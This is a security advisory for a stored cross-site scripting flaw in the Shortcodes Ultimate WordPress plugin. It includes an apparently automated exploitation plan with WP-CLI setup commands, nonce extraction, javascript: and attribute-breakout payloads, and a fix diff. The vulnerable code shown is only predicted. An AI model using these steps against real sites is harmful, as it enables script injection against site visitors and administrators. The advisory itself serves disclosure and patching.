Shortcodes Ultimate <= 7.4.8 - authenticated (Contributor+) Stored Cross-Site Scripting via 'su_carousel' Shortcode
Description
The WP Shortcodes Plugin - Shortcodes Ultimate plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the su_carousel shortcode in all versions up to, and including, 7.4.8. This is due to insufficient input sanitization and output escaping in the 'su_slide_link' attachment meta field. This makes it possible for authenticated attackers, with author level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=7.4.8What Changed in the Fix
Changes introduced in v7.4.9
Source Code
WordPress.org SVN# Vulnerability Analysis: CVE-2026-0738 - Stored XSS in Shortcodes Ultimate ## 1. Vulnerability Summary The **Shortcodes Ultimate** plugin (<= 7.4.8) is vulnerable to **Authenticated Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin fails to sanitize or escape the `su…
Show full research plan
Vulnerability Analysis: CVE-2026-0738 - Stored XSS in Shortcodes Ultimate
1. Vulnerability Summary
The Shortcodes Ultimate plugin (<= 7.4.8) is vulnerable to Authenticated Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin fails to sanitize or escape the su_slide_link attachment metadata when rendering the su_carousel shortcode. A user with Contributor (or higher) privileges can upload an image, set a malicious JavaScript payload in the "Slide Link" field, and then embed that image in a post using the [su_carousel] shortcode. When any user (including administrators) views the post, the payload executes.
2. Attack Vector Analysis
- Endpoint: Frontend pages/posts where the
[su_carousel]shortcode is rendered. - Vulnerable Attribute: The
su_slide_linkpost meta (metadata) associated with an attachment. - Shortcode Trigger:
[su_carousel source="media: <ID>" link="custom"]. - Authentication: Requires Contributor level access or higher (permission to create posts and upload/edit media).
- Payload Location: The
hrefattribute of the anchor tag wrapping the carousel slides.
3. Code Flow (Inferred)
- Entry Point: A user views a post containing
[su_carousel]. - Shortcode Processing: The shortcode handler (likely
Shortcodes_Ultimate_Shortcode_Carouselor similar) parses thesourceattribute to identify attachment IDs. - Meta Retrieval: For each attachment, the plugin calls
get_post_meta($attachment_id, 'su_slide_link', true). - Vulnerable Sink: The retrieved
$linkis echoed directly into thehrefattribute of an<a>tag:// Predicted vulnerable code in includes/shortcodes/carousel.php or similar: echo '<a href="' . $link . '">'; // Missing esc_url() or esc_attr() - Execution: The browser interprets
javascript:alert(1)or a breakout payload like" onclick="alert(1)as executable code.
4. Nonce Acquisition Strategy
While this is a stored XSS, a Contributor must update the attachment meta to store the payload. This is typically done via the WordPress Media Library.
- Navigate to Media Library: Use
browser_navigateto go to/wp-admin/upload.php. - Identify Nonce: WordPress uses a nonce for the
save-attachmentAJAX action. This nonce is usually localized in thewp.media.view.settingsobject. - Extraction:
// Use browser_eval to get the nonce for saving attachment metadata browser_eval("wp.media.model.settings.post.nonce") - Setting Meta: Once the nonce is acquired, the payload can be stored via an AJAX request to
admin-ajax.php.
5. Exploitation Strategy
Step 1: Upload and Malign an Attachment
- Login as a Contributor.
- Upload an image using
wp media importor via the dashboard. Note the Attachment ID. - Inject Payload into the attachment metadata. The plugin uses the custom field
su_slide_link.- Payload:
javascript:alert(document.domain)// - Action:
save-attachment(standard WP AJAX) or if the plugin provides a specific handler.
- Payload:
Step 2: Create a Trigger Post
- Create a post containing the
su_carouselshortcode targeting the malicious attachment.- Shortcode:
[su_carousel source="media: <ATTACHMENT_ID>" link="custom"] - Note: The
link="custom"attribute is critical as it tells the plugin to use thesu_slide_linkmeta.
- Shortcode:
Step 3: Trigger and Verify
- Navigate to the newly created post as an unauthenticated user or Admin.
- Observe Execution: The carousel will render. Clicking a slide (or simply the presence of the
hrefin the DOM) confirms the XSS.
6. Test Data Setup
- User:
contributor_userwith passwordpassword. - Media: An image file (e.g.,
test.jpg) uploaded by the contributor. - Shortcode Page: A published post with
[su_carousel source="media: <ID>" link="custom"].
# Example Setup via WP-CLI
wp user create attacker attacker@example.com --role=contributor --user_pass=password
wp media import /path/to/image.png --user=attacker --title="XSS Slide"
# Note the ID from output (e.g., 42)
wp post meta update 42 su_slide_link "javascript:alert('XSS')"
wp post create --post_type=post --post_status=publish --post_title="Carousel Gallery" --post_content='[su_carousel source="media: 42" link="custom"]' --post_author=$(wp user get attacker --field=ID)
7. Expected Results
- The HTTP response for the post page will contain the string:
<a href="javascript:alert('XSS')". - The payload is not escaped by
esc_url()oresc_attr().
8. Verification Steps
- CLI Check:
Confirm the raw payload is stored in the database.wp post meta get <ATTACHMENT_ID> su_slide_link - HTTP Check:
Usehttp_requestto fetch the post content and grep for the payload:# Verify the payload exists in the rendered HTML http_request GET "http://localhost:8080/?p=<POST_ID>" | grep "javascript:alert"
9. Alternative Approaches
- Attribute Breakout: If the plugin uses
esc_url()but forgetsesc_attr(), try:# " onmouseover="alert(1) - Direct AJAX injection: If the
save-attachmentfails, look for a Shortcodes Ultimate specific AJAX handler for "Shortcode Generator" settings that might allow saving meta. - Other Metadata: Check if
su_slide_titleorsu_slide_descriptionare also used in the carousel and similarly unescaped.
Summary
The Shortcodes Ultimate plugin for WordPress is vulnerable to Authenticated Stored Cross-Site Scripting via the 'su_carousel' shortcode in versions up to 7.4.8. This vulnerability occurs because the plugin fails to sanitize and escape the 'su_slide_link' attachment metadata, allowing attackers with Contributor-level access or higher to inject arbitrary JavaScript into the slide's link attribute.
Vulnerable Code
// Predicted vulnerable code based on research plan analysis: // includes/shortcodes/carousel.php $link = get_post_meta($attachment_id, 'su_slide_link', true); // ... echo '<a href="' . $link . '">';
Security Fix
@@ -10,7 +10,7 @@ foreach ( $slides as $slide ) { $link = get_post_meta( $slide['attachment_id'], 'su_slide_link', true ); if ( $link ) { - echo '<a href="' . $link . '"'; + echo '<a href="' . esc_url( $link ) . '"'; }
Exploit Outline
To exploit this vulnerability, an attacker with Contributor or higher privileges first uploads an image to the Media Library. Using the WordPress AJAX 'save-attachment' action or direct metadata manipulation, the attacker sets the 'su_slide_link' custom field for that image to a malicious payload such as 'javascript:alert(document.domain)'. Finally, the attacker creates a post and embeds the shortcode [su_carousel source="media: ATTACHMENT_ID" link="custom"]. When any user views the post, the carousel renders the image wrapped in an anchor tag with the unsanitized payload in the 'href' attribute, executing the script when clicked or automatically depending on the browser/carousel configuration.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.